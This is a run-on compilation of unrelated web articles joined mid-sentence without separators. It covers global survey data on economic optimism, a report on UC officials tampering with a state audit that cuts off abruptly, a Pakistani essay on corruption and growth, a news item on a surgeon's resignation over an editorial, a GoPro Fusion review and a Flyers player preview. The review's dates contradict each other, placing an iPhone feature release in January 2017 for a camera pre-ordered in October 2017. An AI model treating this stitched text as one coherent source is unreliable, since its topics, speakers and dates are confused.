In developing economies, half or more in six of eight nations say their economy is performing poorly. The most downbeat are Ghanaians (73%) and Palestinians (67%). Only Ethiopians (89%) and Senegalese (60%) think economic conditions are good.
There is even greater disparity in economic perceptions between geographic regions. A median of 51% in the Asia-Pacific region say economic conditions are good, as do 48% in Africa. But just 36% in Latin America, 31% in the Middle East and 28% in the European Union believe their economy is doing well.
Publics’ perception of their economy has improved significantly in just a handful of countries over the past year. In 2014, only 39% of Nigerians said their economy was in good shape; now, 57% voice a positive view. In Argentina, the proportion saying economic conditions are good is up 12 percentage points, from 26% to 38%. Views have also improved in Spain, India and Pakistan.
The revival in economic sentiment is more pronounced compared with views in the immediate wake of the financial crisis. In spring 2009, just 17% of Americans thought their economy was doing well. Now, 40% are upbeat. Similarly, in Germany, 28% said in 2009 that economic conditions were good; 75% now say the economic situation is good. And in the United Kingdom, the story is the same: 11% in 2009, now 52%.
But in many nations, the economic mood has darkened in the past year, in some cases quite dramatically. Positive assessment of the economy is down 26 points in Malaysia, from 72% in 2014 to 46% in 2015. It has fallen from 69% in Chile a year ago to 45%, and from 44% to just 24% in Russia. And in South Korea, public sentiment about the economy is down 17 points, from an already-dim 33% to only 16%.
In 11 of the 40 nations surveyed, those ages 18 to 29 are significantly more upbeat about current economic conditions than people ages 50 and older. This generation gap is particularly strong in Peru: 61% of younger Peruvians say the economy is doing well, but only 45% of older ones agree. This age-related difference, with the young notably positive and the old more negative, also exists in countries such as Malaysia, South Africa, Kenya and Australia. Notably, however, in a handful of nations – Italy, Vietnam, Venezuela and Turkey – it is older respondents who are more pleased with economic conditions than are the young, though in both Italy and Venezuela, both age groups are nonetheless quite dissatisfied.
Men and women around the world generally see their economy in the same light. But there is a gender gap in economic perceptions in some key countries: in the U.S., 44% of men but just 36% of women say their economy is good; and in Japan, 46% of men but only 30% of women are positive about economic conditions.
Publics in Emerging, Developing Nations Expect Economy to Pick Up
The predominant view among emerging and developing countries is that their economies will improve over the next 12 months. But a plurality in advanced economies expects economic conditions to remain about the same. Relatively few around the world foresee their economies worsening.
A median of 25% in advanced economies expects an economic uptick. But such sentiment varies widely. The Israelis (47%) and Spanish (42%) are the most optimistic. The French (20%), Australians (21%) and South Koreans (21%) are the least likely to expect conditions to improve.
In advanced economies, a median of 42% expect conditions to remain about the same, with the strongest such sentiment in Germany and Japan (both 54%). It is notable that the IMF expects Germany to grow by only 1.6% in 2015 and Japan to expand by a mere 0.8%.
Publics in emerging markets are far more optimistic: a median of 40% believe economic conditions will improve. Majorities in six of the 21 countries expect their economy to do better.
Those in developing nations have even higher hopes for the future. Half or more in six of eight such countries voice the view that their economy will do better over the next year. People in Burkina Faso (85%) and Ethiopia (84%) have the greatest optimism. Palestinians (30%) are the least upbeat about the future.
Overall, the most optimistic are people in Nigeria (92% say the economy will improve), Burkina Faso (85%), China (84%), Ethiopia (84%) and Peru (83%). The most pessimistic about the near future are the Lebanese (44% say the economy will worsen), French (42%) and Turks (42%).
In 12 of the 40 countries surveyed, people ages 18 to 29 are more optimistic about economic conditions in the next year than are people ages 50 and older. This is particularly true in Africa and Latin America. For example, 53% of young South Africans expect economic conditions to improve, but only 35% of older South Africans agree. Similarly, 59% of young Kenyans say the economy will pick up in the next 12 months, while just 44% of older Kenyans share that view. More than half (53%) of young Mexicans are upbeat about the economy’s prospects, but only 38% of their elders are optimistic.
Notably, the group of countries in which young people are more pessimistic about their financial future than their elders includes two advanced economies. Younger French (16%) and South Koreans (14%) have an even bleaker view of the near future than their elders.
Advanced Economies Pessimistic about Next Generation’s Prospects
Public expectations of the economic prospects for the next generation are a telling indicator of a society’s optimism or pessimism about the future.
About half or more of the publics in both emerging economies (51%) and developing nations (54%) believe that when today’s children grow up they will be better off financially than their parents. This includes more than half in 11 of 21 emerging markets and five of eight developing countries.
The most hopeful for the next generation are publics in some of the world’s fastest-growing economies: Vietnam, which grew 6% in 2014 and where 91% expect children to be better off; China, which expanded by 7.4% in 2014 and where 88% have similar expectations for the next generation; Ethiopia, whose economy grew by 10.3% in 2014 and where 84% expect a brighter future for the next generation; and India, which grew at 7.3% and where 74% anticipate that children will outdo their parents financially.
However, there is not always a relationship between recent economic performance and optimism. The most downbeat about the financial future of the next generation among publics in emerging and developing countries are the Poles (53% say today’s kids will be worse off) and the Turks (52%), despite the fact that Poland grew by 3.3% in 2014 and Turkey by 2.9%. Neither has experienced Asian-style growth rates, but nonetheless they are doing fairly well for their regions.
Publics in advanced economies are almost uniformly pessimistic about prospects for the next generation. A median of 64% anticipates that today’s kids will be worse off in the future, including half or more in 10 of 11 nations. Of the 40 countries surveyed, the pessimism found in nine advanced economies exceeds the negativity seen in all 29 emerging and developing economies. Only in Israel (51%) does roughly half the public voice the view that today’s children will be better off financially than their parents.
By far, the French (85%) are the most pessimistic about prospects for the next generation. The French economy grew by only 0.2% in 2014, among the worst performances in Europe. But the French are not alone. The Japanese economy shrank by 0.1% in 2014, and 72% of Japanese expect today’s kids to be worse off in the future.
Regional differences in perception about the financial future for today’s children are quite stark. In Latin America, a median of 58% believe the next generation will be more prosperous than their parents, as do 56% in Africa and 51% in the Asia-Pacific region. But a median of just 32% in the Middle East and 28% in six European Union countries are optimistic.
In a number of nations, those ages 18 to 29 are significantly more likely than those ages 50 and older to expect today’s kids to be better off financially than their parents. Young Spaniards (47%) are far more likely than older ones (21%) to believe that the next generation will be better off. There is a comparable 24-point generation gap in such views in Peru and a 21-point difference in Brazil and Germany. But the opposite generational divide exists in Turkey, where just 34% of young people are optimistic about the financial prospects of the next generation, while 56% of older people think children’s future is bright.One of the two executives who resigned this week from the University of California president’s office wrote emails directing campuses to reveal and sometimes alter their answers in a confidential state auditor’s survey, which tainted the review and prompted the state to demand an investigation. The other was his boss, who was copied on many of the emails.
Seth Grossman, chief of staff to UC President Janet Napolitano, and Bernie Jones, his deputy, “resigned to pursue other opportunities,” a UC spokeswoman said Wednesday.
As a result of the emails, three of UC’s 10 campuses — Santa Cruz, San Diego and Irvine — changed their survey responses to reflect more favorably on the UC Office of the President, which was being audited by the state. Auditor Elaine Howle, who released the audit results in April, discarded the survey results and said the interference by the president’s office made them useless.
The emails, obtained by The Chronicle, indicate that Napolitano was briefed on the reviews of campus survey responses. And Karen Petrulakis, who was chief deputy general counsel until her departure in July, was also copied on many of the messages between the president’s office and the campuses.
The UC regents hired former state Supreme Court Justice Carlos Moreno in June to conduct an independent investigation into alleged tampering, and the results are pending. Last month, Gov. Jerry Brown signed a bill requiring a $5,000 fine imposed on anyone who interferes with a state audit. That law, prompted by the UC debacle, takes effect Jan. 1.
At the time of the audit last fall, the UC president’s office in Oakland had an annual budget of $686 million and nearly 1,700 employees. Among the audit’s revelations were that the president’s office squirreled away $175 million in reserve funds it didn’t disclose to the public, and that it paid employees “significantly higher” than state workers in comparable jobs.
Angry state |
the Liberty StadiumHome Page
Pakwatan Urdu
Latest News
Views
Travel Guide
Business
Fashion
Entertainment
Search:
Google
Website Political Corruption and Economic Development in Pakistan By: Hamid Sultan Dawoodi Share | The corrupt politicians in Pakistan put the nation in severe economic crisis and the nation is still looking for a growth strategy. Our Economic planners look towards the International Monetary Fund (IMF) and other multilateral donors for guidance to spur growth. The experiences of countries such as Brazil, China, and India can provide alternative views about development, and these experiences may at times be more relevant than the pathways advocated by developed countries. None of the three countries have the ideal transparency or governance that the economists from developed countries state vital for sustained growth. All the three countries, though, ha ve slightly better rating in the corruption perception index of Transparency International. Nonetheless these countries are classified among the corrupt nations in the world. Not all the three have democracy. In fact, in economic freedom or in case of doing business, India and China are rated below Pakistan by the Heritage Foundation of United States and the World Bank. But, these ratings look meaningless when we compare the performance of these three countries with that of Pakistan. The major difference between these three countries and Pakistan is that they have better institutions that may be as slow in taking decisions as ours are in achieving quick results, but they rarely deviate from the rules. In our case, we award contracts worth billions of rupees without even adopting the required procedures. Our bureaucracy simply does not implement
the policies. They bend rules to please the political government of the time. Brazil, China and India have not only become powerhouses in terms of population, food production, and economic strength. Even though these three countries have followed three significantly different development pathways, all have experienced noteworthy growth and development in recent years. China adopted a gradual "firing-from-the-bottom" approach toward reforms that started in the agricultural sector and later moved to manufacturing and services, spurring private investments and rural nonfarm growth and employment. With its accession into the World Trade Organisation, China introduced a more open and export-oriented trade system that included reduced agricultural protection policies. Agricultural productivity in China was below Pakistan's level in late seventies but now it is many times higher. In industrial production we were not far behind in the 1960's but now we are no where near. India employed a top-down reform process that started with macroeconomic policies and the services sector and then moved to manufacturing. Partial policy changes related to agriculture focused primarily on agricultural trade liberalisation, with the sector retaining many distortions. As a result, the service and manufacturing sectors are performing much better than the agricultural sector, with poverty reduction driven largely through trickle-down effects.
We failed both in harnessing our agricultural and industrial potential. In fact we did not take advantage of our strategic position as being the cheapest gateway to Afghanistan and Central Asian markets. India is making inroads in these markets by importing raw material from these regions and exporting finished products. More than 80 per cent of the coal mines Afghanistan have been leased to Indians who would dispatch the coal through Wagah border to India, courtesy latest Pak-Afghan Trade Agreement. Brazil implemented policies promoting budgetary restraint, market deregulation, and an increasingly export-oriented economy. These reforms benefited Brazil's large scale commercial farms, largely leaving small-scale farms behind. Economic liberalisation policies have thus been accompanied by expanded and better-targeted social protection programs to tackle food insecurity and extreme poverty. Strong economic growth in these three countries has translated into more dominant positions in the world economy. In fact, the three countries have been among the top 10 largest economies in the world since the 1990s, and their share of global gross domestic product (GDP) is predicted to increase in the coming years, with China edging ever closer to the dominant position held by the United states. The three countries' performance in reducing poverty and hunger has been mixed, however. China has made remarkable progress in reducing poverty, cutting the share of people living on less than $1.25 a day from 84 per cent of the population in 1981 to 16 per cent in 2005 and reducing the number of poor people from 835 million to 208 million. Yet poverty reduction has been uneven over time and across China's regions and has been accompanied by a steep rise in inequality. The share of undernourished people in China fell from approximately 15 per cent to 10 per cent of the population between 1990-92 and 2004-06, or from 178 million to 127 million undernourished people. China's reform process highlights the importance of a sound investment and institutional climate and support for agricultural and rural development. China's reforms were implemented through a pragmatic trial-and-error approach that entailed testing pilot programs, evaluating results, and scaling up successful ideas. In India, despite a significant reduction in the proportion of people living in poverty (from approximately 60 per cent to 42 per cent between 1981 and 2005), the number of people living on less than $1.25 a day increased from 420 million to 456 million between 1981 and 2005. In India, however, despite a modest drop in the proportion of undernourished (from 24 to 22 per cent), the number of hungry increased from 210 million to 252 million during the same time period. Moreover, India accounts for 42 per cent of the world's undernourished children. India's experience with subsidy policies shows that public spending allocation choices and impacts need to be viewed as dynamic rather than universal and permanent. Another lesson comes from India's experience with increasing the targeting and efficiency of rural public works programs through extensive participation of village councils and civil society. Brazil reduced the number of poor from 21 to 15 million (from 17 per cent to 7 per cent of the total population) between 1981 and 2005. Brazil experienced a decline in the rate of under-nourishment from 10 per cent to 6 per cent (16 million to 6 million undernourished) during the same period. Developing countries can also learn from Brazil's social protection policy experience with conditional cash transfer programs, which achieved more efficient targeting through more reliable systems of information gathering and more rigorous evaluations. Brazil's experience has also shown, however, that agricultural growth can bypass smallholders and the landless, highlighting the need to complement social protection policies with productivity-enhancing interventions for smallholders.
Web Portal of Pakistan, Pakistan News, Pakistan Urdu News, Pakistan Recipes, Pakistan Business News, Pakistan Sports News, Fashion Pakistan, News & Events, Articles & Stories, Pakistani Songs, Pakistan sports, Travel Pakistan, Curreny Rates,Daily Horoscope, Pakistan Links Directory. Home Page | About Pakistan | Pakistan News | Music Section | Advertise With Us | Link To Us | About Us | Enquiry | Contact Us | Pakwatan Email
Copyright © www.pakwatan.com. All rights reserved.
Powered By Pakwatan-e-Services InternationalA top surgeon has been forced to quit his post over comments he wrote about semen and its effect on the health, happiness and well-being of women.
Dr. Lazar Greenfield resigned from his position as the president-elect of the American College of Surgeons following a Valentine’s day editorial he wrote citing research which found that women who had unprotected sex were less depressed than women who used condoms, arguing semen was the factor which made the difference.
In the article he explained that research has found mood enhancers like estrone, cortisol, prolactin, oxytocin, serotonin, and melatonin are presence in semen – all of which can be attributed to combating depression.
The editorial said, “Female college students having unprotected sex were significantly less depressed than were those whose partners used condoms (Arch. Sex. Behav. 2002;31:289-93). Their better moods were not just a feature of promiscuity, because women using condoms were just as depressed as those practicing total abstinence. The benefits of semen contact also were seen in fewer suicide attempts and better performance on cognition tests. So there's a deeper bond between men and women than St. Valentine would have suspected, and now we know there's a better gift for that day than chocolates.”
The editorial outraged a number of women in the field, arguing it was nothing more than male chauvinism.
The Board of Regents of the American College of Surgeons received numerous complaints from colleges in the medical community. Greenfield issued a statement of regret, but complaints continued. It is unlikely however that his resignation will end the controversy.
Greenfield remains however an emeritus professor of surgery at the University of Michigan School of Medicine. He is a well known doctor, having invented the Greenfield filter, a device that prevents blood clots from traveling to the lungs.
He has been replaced as president-elect by a female surgeon, Dr. Patricia J. Numann.GoPro has finally launched the Fusion action camera. Like the Hero and Session, it's designed to be strapped to virtually any part of you of your kit - your bike, shoes, car or any number of other objects via accessory mounts. The Fusion is just as much an action camera as the others, except this one shoots in 360 degrees and adds some impressive features.
Throughout the past six to seven months we've spent time looking at, playing with, and - finally - testing the GoPro Fusion for ourselves. It's GoPro's first attempt at a full surround view camera, and it's a great start.
Camera on both front and back
Small monochrome screen (not touch)
Removable 2,620mAh battery
Dual microSD cards (both required, one per camera)
GoPro has kept things fairly simple on the design front. The Fusion is a square camera that's noticeably larger than the Hero 6, but it is roughly the same thickness and has a similar finish. GoPro retained the dual-tone grey colour scheme and the grippy diagonal lines around the edges. As you'd expect, it also has the same two-button control system to keep things familiar and simple for existing users.
There's a camera on the front and the back of the Fusion, as well as the usual square monochrome screen on the front which shows basic information during shooting, just like the Hero does. The one thing it doesn't have is a touchscreen or viewfinder - but having one on a 360-degree system doesn't really make any sense, so it's a fair omission.
Using the usual mounts, you can attach the Fusion to most of the existing selection of GoPro accessories as well as some new custom designed ones, although due to its size it won't fit in the GoPro Karma mount. That means no drone flying for this gadget just yet - or perhaps ever, as the Karma looks to be GoPro's first and last drone to launch.
The Fusion is built to withstand water up to 5m (16ft), too, which isn't quite as deep as the new Hero 6 Black can handle, but then it's not specifically designed for underwater shooting. Due to the fish-eye lenses on either side, water refracts light too much and this will produce a less-than-unusable shot. The waterproofing does, however, mean that you can use it for shooting most water-based sports or activities. It's fine being splashed or temporarily submerged.
Two other important design features are the two flaps that cover the essential ports. Just above the power/mode button on the left edge is where you'll find the Type-C port sealed behind a small hinged flap. On the opposite side, around two-thirds of the surface is the battery door - in here you'll find the removable 2,620mAh battery and the two microSD card slots; one for each of the cameras.
On the whole, the Fusion feels well made. The hinges and clasps on these external doors seem to hold well and can be completely removed if necessary. Similarly, you can remove the mount from the bottom edge, via two hinges that flip upwards when you want to unlock it.
OverCapture provides dynamic playback - for VR or flat displays
5.2K spherical video
18MP stitched photos
Being a 360-degree camera, the Fusion is equipped with two 180-degree lenses that capture everything all around the device. It shoots 5.2k video, and its sensors and optics make this one of the best action cameras we've seen.
And that's not because its footage can be viewed in a VR headset like the Gear VR (as cool as that is) - it's what it does to transform the 360 video in to a flat video that anyone can watch. With so many people using their phones on the go, not donning virtual reality headsets, GoPro decided it made sense to develop a way to transform 360 captures into videos that look great on a flat screen.
Using its OverCapture feature, you can choose which part of the scene to display. That can mean a nice flat Full HD shot of one part of the action, or a wider-angle selection. It's even possible to have a "tiny planet"-like view that shows all of the video in on-looking sphere form.
More importantly, though, when editing the footage you can pan through select parts, or transition between the tiny planet and more traditional flat video scenes smoothly in one motion for a really dynamic effect.
As an example, you could have the Fusion set up on a tripod, completely still, and have a bike or dog run past it. Then, in the edit, you can follow that action almost as if you were moving a regular single video camera. So when you go to show your friends, or watch it back on a TV, you don't miss any of the important action. As you're watching it back, it looks as the the camera itself was being moved, but it isn't. It's all in the OverCapture technology and the way it can switch, transition and edit. It's pretty phenomenal.
What this does for regular consumers, and technophobes, is it gives them the ability to make amazing action videos. You'll be able to make professional looking, immersive video, and barely lifting a finger to do it. Arguably, you actually get a better experience from the Fusion's results on a flat mobile or TV screen than when strapped into a headset - although even then, the video quality was good.
For VR users, the experience is enhanced further by the 3-way microphone system built into the top of the camera. With headphones in, the 3D audio moves around as you move your head, changing your view within the video. As for still photos, the entire stitched 360-degree image is 18-megapixels inside.
Fusion Grip tripod/selfie stick accessory included
Controls the same as GoPro Hero
Two button control, voice commands
Shooting with the camera will feel very familiar to those who have used GoPro cameras in the past, keeping familiarity within the GoPro camp.
You switch the camera on be pressing and holding the power/menu button, then start recording by pressing the red shutter button on the front. You also use these two buttons to cycle through the shooting options, and various menus on the camera's little monochrome screen. You can also use the voice commands (with a hit-and-miss success rate).
One key part of shooting with the Fusion is actually an accessory that comes with the camera: the Fusion Grip. This half selfie stick, half tripod acessory is incredibly versatile. You can have it stand up on the floor, or you can hold it, and it's able to extend up to 56cm in length.
What's more, with the camera placed in the correct position (directly in line with the Grip) the cameras can magically get rid of the Fusion Grip from the footage, so it almost looks as if the camera was hovering in the air. That is very impressive.
Fusion desktop app for Mac/PC
Plugins for Adobe Premiere Pro
OverCapture also in GoPro iPhone app
Up until January 2017, the process of working with footage from the Fusion was still a little too involved to recommend to just anyone. As promised at an earlier time, GoPro has - at last - launched the OverCapture feature within the iPhone app.
On mobile, you connect to the camera the same way that you would any other GoPro camera. That's to say you load up the app and connect using Bluetooth and Wi-Fi. From here you can look through the camera's footage and download the clips you want.
Being a flat screen, the video shows up in a similar manner to how other 360-degree video would and you can move within it to see what it looks like. To change angle, you move the phone around and you can manipulate the field-of-view using touchscreen gestures. Swiping around changes the angle, pinching in and out increases or decreases the field of view.
It has to be said, until OverCapture was released on mobile, using the Fusion felt far too complicated. But with OverCapture on mobile, it's transformed into something quite magical.
Once you've chosen the clips you want to download on to your phone, you then open them and tap the OverCapture icon that looks like a broken circle, then press the main icon on the screen. It turns to a red square. From this point, you manipulate, move and adjust angle as you did when looking at the footage the first time - except now it's all being captured. It's particularly useful for following action.
Once you're finished, you can watch it back with all your panning, zooming and FOV changes intact. If you're happy, you can save it, if you're not then you can go back and do it again. It's almost too simple, but that's why it's great. What's more, the software seems to improve the look of the footage, making it sharper, more vivid and adding contrast.
1/4 Pocket-lint
On desktop it starts with downloading the Fusion Studio desktop app for PC or Mac. Once that's done, you connect the Fusion camera to the computer and import the media. Depending on how much you have on the camera, this can take some time, especially since all the files will have been captured in 5.2k resolution.
Once imported, you can then look through them, trim them, change angles, adjust colours and add any videos you want to a render queue. Once rendered, the final files are then automatically exported into a new folder in your computer's main image folder. If you don't have Premiere Pro, it's probably best to edit them and export in either a Tiny Planet or Fish Eye views if you want to watch them on a flat screen.
As part of downloading and installing the Fusion Studio software, you also automatically download plugins for Premiere Pro, and these are necessary to produce some of the editing effects that mobile OverCapture does. This is where the steeper learning curve comes in. If you're already a whizz at using keyframes for adding motion into videos, you shouldn't struggle too much, but if you aren't then things might seem a little tricky (at least to start with).
Once footage has been exported to a file, you then need to import into a new project on Premiere Pro. Once you've added your first clip to the preview timeline (as normal), go to the Effects tab and find the GoPro plugins in the video effects menu.
To play with camera angles, and add animations, drag the GoPro Reframe plugin into the clip you want to edit and then access the controls in the Effects Controls tab. Now you need to manually adjust FOV, yaw, pitch and roll to get the exact frame that you want at the beginning and add a keyframe.
To then smoothly go to your next chosen frame/view, you add another keyframe where you want it, and then adjust the yaw, pitch, roll and FOV here. Now when you play between those two points, it should move between them, almost as if the camera is being controlled directly. It takes some effort, practice and time to get it looking good, but it works.
Once that's done, you export the video as a regular 16:9 video if you want it flat (make sure that VR box isn't selected). The end result is a decent looking 1080p video, which - with some colour correction - can look really good.
One thing we have noticed at times is the Fusion's promise of seamless video doesn't always entirely hold true. Some angles within the footage can show a seam or stitch-line where the two cameras' field of view overlaps. Nothing major, but still noticeable.
75 mins shooting 5.2K
80 mins shooting 3K
One of the things we love about the Fusion is how long the battery lasts. It's long enough to take it out for the morning without worrying we'd empty it in a matter of minutes.
Our first test took us out on a journey to chop down our own Christmas tree. We shot around 10-15 minutes of footage in total at the 5.2K 30fps setting, as well as approximately 20 minute time lapse capture - and it still wasn't close to being empty, instead it was down to around 45 per cent.
That suggests you can probably expect somewhere around an hour of shooting time. That time will undoubtedly increase if you opt to shoot at 3K resolution rather than the full 5.2K res.
Available now
£649/$699
Pre-orders for the GoPro Fusion began in October 2017, with orders already shipping as of the end of November 2017. Desktop solutions for editing are already available, with the mobile OverCapture feature being built into the GoPro app for iPhone (while Android will be live sometime at the beginning of 2018).As Flyers fans, we tend to find a lot to disagree about. Ask five different orange-and-black-donned die-hards about what Claude Giroux has left in him, or just how useful Sean Couturier is, or whether the Flyers mishandled their goaltending situation with Steve Mason, or how good a job Dave Hakstol is doing, or even how good Andrew MacDonald really is, and you may get four or five different answers. It’s a crazy time to be a Flyers fan, and there are a lot of ways to look at where the team is now.
But there’s one thing that pretty much everyone tends to agree upon, and after the 2016-17 season they’re agreeing on it as much as ever: Wayne Simmonds is awesome.
The guy who was, at the time, the undercard in the Mike Richards trade has become not only the star of that deal for the Flyers but one of the stars of the team. Simmonds has emerged as a 30-goal scorer, one of the league’s most unique (and effective) power-play players, and he’s also a gritty, hard-nosed player who can both figuratively and quite literally punch an opponent in the face. There is extremely little not to love about Wayne Simmonds.
And this past year was arguably his best year as a Flyer. Not only was Simmonds named to his first All-Star game — where he won MVP honors, by the way — he was given the Bobby Clarke Trophy, awarded each year to the Flyers’ MVP. It was a well-deserved honor for Simmonds in a year where he potted 31 goals and was one of the only bright spots on an otherwise-dreary Flyers team.
What’s in store for Simmonds now? Is there any reason to expect anything but more of the same? Could we see even more from the Wayne Train this year? And are there some difficult conversations on the horizon about his long-term future with the Flyers?
As the 2017-18 Flyers season draws near, we’ll be breaking down everyone we expect to make the roster, from the long-time vets to the new guys. For each player, we’ll ask three key questions about their season, and look at what their best- and worst-case scenarios are for the year.
3 Big Questions: Wayne Simmonds
1. Will Simmonds be affected by changes to the top power play?
If you were asked to name one constant from the past six seasons of Flyers hockey, there’s a decent chance the first thing you’d mention would be the power play goal-scoring that Simmonds has provided. Simmonds has lit the lamp on the power play at a rate of 14 goals per 82 games since arriving in Philadelphia six summers ago, and his 75 total power play goals in that time lead the NHL among mere human beings (which is to say they are second in the NHL during that time, trailing only Alexander Ovechkin).
As some pieces on the Flyers’ top power play have changed, Simmonds and Claude Giroux have more or less been there from start to finish. The team’s power play success starts and ends with those two (with due respect to Jakub Voracek, who joined them on the top unit a year later after Jaromir Jagr’s departure), and given that Simmonds — who basically never leaves a six-foot radius around the goal crease during the power play — is the one who usually ends up scoring the goals, he’s the one who tends to get the most recognition for his power play work.
But another key part of the Flyers’ top power play is no longer with the team, and though the machine has continued to hum along when spare parts have been changed out in the past, it’s worth asking what kind of effect Brayden Schenn had on Simmonds’ PP successes in the three years since he was placed in the high slot on the top power play.
At a high level, we can try and answer that question by taking a quick look at who’s been helping Wayne Simmonds score goals on the power play lately. Six players have registered an assist on a Wayne Simmonds power play goal in the last two seasons, and here they are:
Assists on Wayne Simmonds 2016-17 PP Goals Player Assists A1 A2 Player Assists A1 A2 Shayne Gostisbehere 16 9 7 Claude Giroux 16 6 10 Jakub Voracek 13 8 5 Brayden Schenn 8 6 2 Mark Streit 2 0 2 Ivan Provorov 2 0 2
As one would expect, the four names that have almost exclusively played on the Flyers’ top PP during these two seasons have tallied almost all of these assists. And of those four mainstays — Giroux, Schenn, Voracek, and Shayne Gostisbehere — Schenn’s played by far the least active role in directly helping Wayne run up the power play tallies.
So case closed, right? Schenn didn’t play that big of a role in Simmonds’ successes and Simmonds should be fine without him?
Hopefully that’s the case, but it may not be quite that simple. There are, of course, ways to help a power play score without actually partaking in the scoring itself. For one, Schenn has always been good at creating havoc in that high-slot area while the players around him got the puck to the net. Simmonds is always right in front of the net ready to pounce on any Gostisbehere bombs from the point, but a long screen from Schenn — something he won’t get a point for on the scoresheet — can certainly make a difference there.
More importantly, though, Schenn opened up space for Simmonds because, in time, he developed into not just a cog in the machine but a legitimate weapon on the power play. That was particularly true this past season, as Charlie O’Connor wrote here in his season review for Schenn back in May:
The power play prowess appears real. Not only did Schenn score more goals than ever before, he used a wide variety of methods to do so, as opposed to years past when he was more dependent upon the work of others to earn his points. Schenn didn’t luck into 17 goals with the man advantage — he earned them due to becoming a more versatile, less predictable player in the situation.
Every team’s penalty kill is going to have one or two defenders down low, close to the net. Why would they not just always key in on Simmonds, well-established as one of the league’s biggest power play threats? Because Schenn wouldn’t let them. It’s a lot easier for Simmonds to win a battle in front of the net when the Flyers have another threat in the slot to keep the PKing team’s other defenseman honest, locking Simmonds into a 1-on-1 situation that he’s got a good shot at winning. With Schenn gone, we don’t yet know if whoever is going to take over Schenn’s spot there will pose as big of a threat, and if he doesn’t, that could serve as a detriment to Simmonds’ goal-scoring potential.
Even so, though, the smart money is on Simmonds continuing to produce at a high level on the man-advantage this year. Other pieces in this puzzle have changed during his time here — Scott Hartnell was in that slot before Schenn was, for instance — and the Wayne Train has continued to chug along with minimal technical difficulties. It’d be surprising if Simmonds wasn’t once again an excellent power play goal-scorer this year.
2. How much can the Flyers put on Simmonds’ plate?
Again, the one lock with Simmonds year in and year out is that he’s going to spend a lot of time on the top power play unit, because he’s good there. Since coming to Philadelphia, Simmonds has averaged 3:19 per game on the power play, and we can probably expect something in that vicinity this season. (All stats in this article courtesy of Natural Stat Trick unless noted otherwise.)
How the Flyers will handle Simmonds’ remaining minutes in a game is something we can’t be quite sure about yet, for two reasons. One, Simmonds’ per-game minutes at even strength have increased ever-so-slightly during his time with the team, from the 12-13 range in his first few seasons up closer to 14 in his last few. And second, the Flyers added a new responsibility to Simmonds’ job description this past season, one which led to his easily playing the most minutes he’s ever played per-game in an NHL season: killing penalties.
Wayne Simmonds TOI Per Game Year EV TOI/G PP TOI/G SH TOI/G Other TOI/G Total TOI/G Year EV TOI/G PP TOI/G SH TOI/G Other TOI/G Total TOI/G 2011-12 11.93 3.25 0.37 0.35 15.90 2012-13 12.08 3.15 0.07 0.33 15.63 2013-14 13.05 3.25 0.05 0.42 16.77 2014-15 13.63 3.07 0.00 0.10 16.80 2015-16 13.57 3.50 0.05 0.12 17.23 2016-17 13.73 3.58 1.50 0.12 18.93
The Flyers’ decision to put Simmonds on their “second” penalty kill unit with Sean Couturier was somewhat unexpected. Simmonds was already serving important roles at even strength and on the power play, and he hadn’t really held a regular role on a PK in any season since arriving in the NHL.
But it’s a move that worked out: Simmonds and Couturier were by far the team’s more impressive penalty killing forward duo, despite playing around a minute less per game on the PK than Pierre-Edouard Bellemare and Chris VandeVelde did. Even acknowledging the fact that, as the top PK duo, Bellemare and VandeVelde likely spent more time against other team’s top units than Simmonds and Couturier did, the latter simply was much better by almost every on-ice metric available — shot attempts allowed, shots on goal, goals, and even goals-for percentage, since Simmonds proved to be a decent counter-threat on short-handed goals (he tallied two of them on the season).
Now, Bellemare is in Vegas and VandeVelde is not with the Flyers, and you’d have to think the team would like to have at least some year-over-year continuity in its penalty kill. As such, it seems likely that the team will try Simmonds in a similar capacity again this coming season. Heck, they’d probably be fairly well-off to just make the Simmonds-Couturier duo their top penalty killing combination.
But here’s the question: do you want Simmonds to handle what are effectively star forward-level minutes? Simmonds was already 35th in the NHL among forwards in ice time per game this past season, clocking in for 18:58 per game. If nothing else changes — in other words, if Simmonds continues to handle second-line minutes at even strength and top PP minutes — a bump from second-penalty-kill ice time to top-penalty-kill ice time could have him in the 20 minutes per game range. Only 11 NHL forwards played that much ice time per game last year, and the list of guys that did is nearly a veritable list of star forwards.
Is that too much to ask from a very good player who may not quite be that good? If so, the Flyers are going to have to find some places to give Simmonds a breather where they may not want to. And given Simmonds’ successes on the power play and at penalty kill, the answer may be at even strength — where, as Charlie wrote in his season review on the man himself, Simmonds struggled this past season:
Still, the fact that his 5v5 performance did decline cannot be ignored, especially since he is right around the age where forwards begin to move out of their statistical primes. His scoring rate dropped into career-low territory, and his play-driving metrics were uniformly poor for the first time as a Flyer. Simmonds would likely be the first person to admit that, as good as he was on the PP, the team needs more from him at even strength.
Charlie goes on in that piece to give several reasons why he’s not overly concerned about Simmonds at 5-on-5 long-term. Chief among them:
Simmonds had two very strong 5-on-5 seasons prior to this past one.
He was victim to some bad percentages in 2016-17 that dragged down his scoring.
His manually-tracked metrics, such as those measuring neutral zone performance, were basically in line with those of his strong 2015-16 season.
His poor play-driving metrics may have been in large part due to the team’s willingness to repeatedly trot out a Simmonds-Brayden Schenn duo that was just not up to par this season, and both players fared much better when playing apart from one another.
That’s all well and good, and the idea that we don’t have to be worried about one of this team’s most important players is a calming one.
But without actually testing it or providing any real evidence for it, let’s posit one more theory for Simmonds’ 2016-17 5-on-5 struggles: could he have just been tired? As you can see from the table above, Simmonds played nearly two minutes more per game this year than he has in any other season, which is a pretty substantial jump for a player to make at all, let alone nine years into an NHL career. And the vast majority of that difference was in newfound penalty kill time — time that’s physically demanding and exhausting for any forward. Could those extra few shifts a game on the penalty kill have eaten into Simmonds’ productivity at even strength?
Again, this probably isn’t something I can prove to be the case without digging into it a lot further, and I’m already about 2,000 words deep into this article so please forgive me if I save that project for a rainy day. But if the Flyers plan on using Simmonds as their power play anchor again this year (they do) and want to give him steady penalty kill time again (they should), maybe the solution is to scale his minutes at even-strength back to third-line levels. The Flyers look like they’re going to have as much forward depth this season as they’ve had in a long time. They should consider using some of it to free up Wayne Simmonds to be at full strength for the things he does best: playing on special teams.
3. Is Simmonds playing for his future in the organization this season?
And now, we come to what — purely speaking as a fan — may be one of the toughest questions we’ll ask about a player all preseason.
Simmonds is awesome. There’s so much to love about what he brings to this team. And the six-year contract extension that Paul Holmgren gave him after his first full season in Philadelphia was probably one of the best contracts Holmgren ever signed, locking in a 30-goal scorer for less than $4 million a year through essentially his entire prime.
